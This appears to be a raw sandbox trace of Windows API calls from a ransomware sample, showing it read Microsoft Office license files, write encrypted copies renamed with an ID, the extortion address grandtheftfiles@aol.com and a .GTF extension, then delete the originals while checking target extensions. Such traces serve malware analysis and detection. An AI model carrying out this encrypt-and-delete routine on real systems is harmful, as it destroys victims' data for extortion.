	[0174.691] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.691] SetEndOfFile (hFile=0x45c) returned 1
	[0174.749] CloseHandle (hObject=0x45c) returned 1
	[0174.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms")) returned 1
	[0174.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0174.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0174.761] lstrlenW (lpString=".doc") returned 4
	[0174.761] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.761] lstrlenW (lpString=".docx") returned 5
	[0174.761] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.761] lstrlenW (lpString=".pdf") returned 4
	[0174.761] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.761] lstrlenW (lpString=".xls") returned 4
	[0174.761] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.761] lstrlenW (lpString=".xlsx") returned 5
	[0174.761] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.761] lstrlenW (lpString=".ppt") returned 4
	[0174.761] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0174.761] lstrlenW (lpString=".zip") returned 4
	[0174.761] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.761] lstrlenW (lpString=".rar") returned 4
	[0174.762] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.762] lstrlenW (lpString=".bz2") returned 4
	[0174.762] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.762] lstrlenW (lpString=".7z") returned 3
	[0174.762] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0174.762] lstrlenW (lpString=".dbf") returned 4
	[0174.762] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0174.762] lstrlenW (lpString=".1cd") returned 4
	[0174.762] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0174.762] lstrlenW (lpString=".jpg") returned 4
	[0174.762] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0174.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0174.762] lstrlenW (lpString=".doc") returned 4
	[0174.762] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.762] lstrlenW (lpString=".docx") returned 5
	[0174.762] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.762] lstrlenW (lpString=".pdf") returned 4
	[0174.762] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.762] lstrlenW (lpString=".xls") returned 4
	[0174.762] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.762] lstrlenW (lpString=".xlsx") returned 5
	[0174.762] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.762] lstrlenW (lpString=".ppt") returned 4
	[0174.763] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0174.763] lstrlenW (lpString=".zip") returned 4
	[0174.763] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.763] lstrlenW (lpString=".rar") returned 4
	[0174.763] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.763] lstrlenW (lpString=".bz2") returned 4
	[0174.763] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.763] lstrlenW (lpString=".7z") returned 3
	[0174.763] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0174.763] lstrlenW (lpString=".dbf") returned 4
	[0174.763] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0174.763] lstrlenW (lpString=".1cd") returned 4
	[0174.763] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82
	[0174.763] lstrlenW (lpString=".jpg") returned 4
	[0174.763] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.763] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.763] lstrlenW (lpString="MondoR_Grace-ul-oob.xrm-ms") returned 26
	[0174.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0174.764] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11589) returned 1
	[0174.764] CloseHandle (hObject=0x568) returned 1
	[0174.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms")) returned 0x220
	[0174.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0174.765] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.765] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0174.768] GetLastError () returned 0x0
	[0174.768] ReadFile (in: hFile=0x568, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d45, lpOverlapped=0x0) returned 1
	[0174.802] WriteFile (in: hFile=0x590, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0174.804] ReadFile (in: hFile=0x568, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.804] WriteFile (in: hFile=0x590, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x108, lpOverlapped=0x0) returned 1
	[0174.804] SetEndOfFile (hFile=0x590) returned 1
	[0174.805] CloseHandle (hObject=0x590) returned 1
	[0174.809] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.809] SetEndOfFile (hFile=0x568) returned 1
	[0174.811] CloseHandle (hObject=0x568) returned 1
	[0174.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.813] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms")) returned 1
	[0174.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0174.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0174.814] lstrlenW (lpString=".doc") returned 4
	[0174.814] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.814] lstrlenW (lpString=".docx") returned 5
	[0174.814] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.814] lstrlenW (lpString=".pdf") returned 4
	[0174.814] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.814] lstrlenW (lpString=".xls") returned 4
	[0174.814] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.814] lstrlenW (lpString=".xlsx") returned 5
	[0174.814] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.814] lstrlenW (lpString=".ppt") returned 4
	[0174.814] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0174.814] lstrlenW (lpString=".zip") returned 4
	[0174.814] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.815] lstrlenW (lpString=".rar") returned 4
	[0174.815] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.815] lstrlenW (lpString=".bz2") returned 4
	[0174.815] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.815] lstrlenW (lpString=".7z") returned 3
	[0174.815] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0174.815] lstrlenW (lpString=".dbf") returned 4
	[0174.815] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0174.815] lstrlenW (lpString=".1cd") returned 4
	[0174.815] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0174.815] lstrlenW (lpString=".jpg") returned 4
	[0174.815] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0174.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0174.815] lstrlenW (lpString=".doc") returned 4
	[0174.815] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.815] lstrlenW (lpString=".docx") returned 5
	[0174.815] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.815] lstrlenW (lpString=".pdf") returned 4
	[0174.815] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.815] lstrlenW (lpString=".xls") returned 4
	[0174.815] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.815] lstrlenW (lpString=".xlsx") returned 5
	[0174.815] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.815] lstrlenW (lpString=".ppt") returned 4
	[0174.815] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0174.815] lstrlenW (lpString=".zip") returned 4
	[0174.815] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.815] lstrlenW (lpString=".rar") returned 4
	[0174.816] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.816] lstrlenW (lpString=".bz2") returned 4
	[0174.816] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.816] lstrlenW (lpString=".7z") returned 3
	[0174.816] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0174.816] lstrlenW (lpString=".dbf") returned 4
	[0174.816] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0174.816] lstrlenW (lpString=".1cd") returned 4
	[0174.816] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0174.816] lstrlenW (lpString=".jpg") returned 4
	[0174.816] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.816] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.816] lstrlenW (lpString="MondoR_KMS_Automation-ppd.xrm-ms") returned 32
	[0174.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0174.817] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=12416) returned 1
	[0174.817] CloseHandle (hObject=0x568) returned 1
	[0174.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms")) returned 0x220
	[0174.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0174.817] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.817] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0174.818] GetLastError () returned 0x0
	[0174.818] ReadFile (in: hFile=0x568, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x3080, lpOverlapped=0x0) returned 1
	[0174.871] WriteFile (in: hFile=0x530, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x3090, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x3090, lpOverlapped=0x0) returned 1
	[0174.873] ReadFile (in: hFile=0x568, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.873] WriteFile (in: hFile=0x530, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x114, lpOverlapped=0x0) returned 1
	[0174.873] SetEndOfFile (hFile=0x530) returned 1
	[0174.873] CloseHandle (hObject=0x530) returned 1
	[0174.873] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.873] SetEndOfFile (hFile=0x568) returned 1
	[0174.877] CloseHandle (hObject=0x568) returned 1
	[0174.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.034] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms")) returned 1
	[0175.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0175.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0175.093] lstrlenW (lpString=".doc") returned 4
	[0175.093] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.093] lstrlenW (lpString=".docx") returned 5
	[0175.093] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.093] lstrlenW (lpString=".pdf") returned 4
	[0175.093] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.093] lstrlenW (lpString=".xls") returned 4
	[0175.094] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.094] lstrlenW (lpString=".xlsx") returned 5
	[0175.094] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.094] lstrlenW (lpString=".ppt") returned 4
	[0175.094] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0175.094] lstrlenW (lpString=".zip") returned 4
	[0175.094] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.094] lstrlenW (lpString=".rar") returned 4
	[0175.094] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.094] lstrlenW (lpString=".bz2") returned 4
	[0175.094] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.094] lstrlenW (lpString=".7z") returned 3
	[0175.094] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0175.094] lstrlenW (lpString=".dbf") returned 4
	[0175.094] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0175.094] lstrlenW (lpString=".1cd") returned 4
	[0175.094] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0175.094] lstrlenW (lpString=".jpg") returned 4
	[0175.094] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0175.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0175.094] lstrlenW (lpString=".doc") returned 4
	[0175.094] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.094] lstrlenW (lpString=".docx") returned 5
	[0175.094] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.094] lstrlenW (lpString=".pdf") returned 4
	[0175.094] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.094] lstrlenW (lpString=".xls") returned 4
	[0175.094] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.094] lstrlenW (lpString=".xlsx") returned 5
	[0175.094] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.094] lstrlenW (lpString=".ppt") returned 4
	[0175.095] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0175.095] lstrlenW (lpString=".zip") returned 4
	[0175.095] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.095] lstrlenW (lpString=".rar") returned 4
	[0175.095] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.095] lstrlenW (lpString=".bz2") returned 4
	[0175.095] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.095] lstrlenW (lpString=".7z") returned 3
	[0175.095] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0175.095] lstrlenW (lpString=".dbf") returned 4
	[0175.095] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0175.095] lstrlenW (lpString=".1cd") returned 4
	[0175.095] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0175.095] lstrlenW (lpString=".jpg") returned 4
	[0175.095] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.095] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0175.095] lstrlenW (lpString="MondoR_Retail-pl.xrm-ms") returned 23
	[0175.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0175.096] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=10627) returned 1
	[0175.096] CloseHandle (hObject=0x48c) returned 1
	[0175.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms")) returned 0x220
	[0175.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0175.097] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.097] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0175.098] GetLastError () returned 0x0
	[0175.098] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2983, lpOverlapped=0x0) returned 1
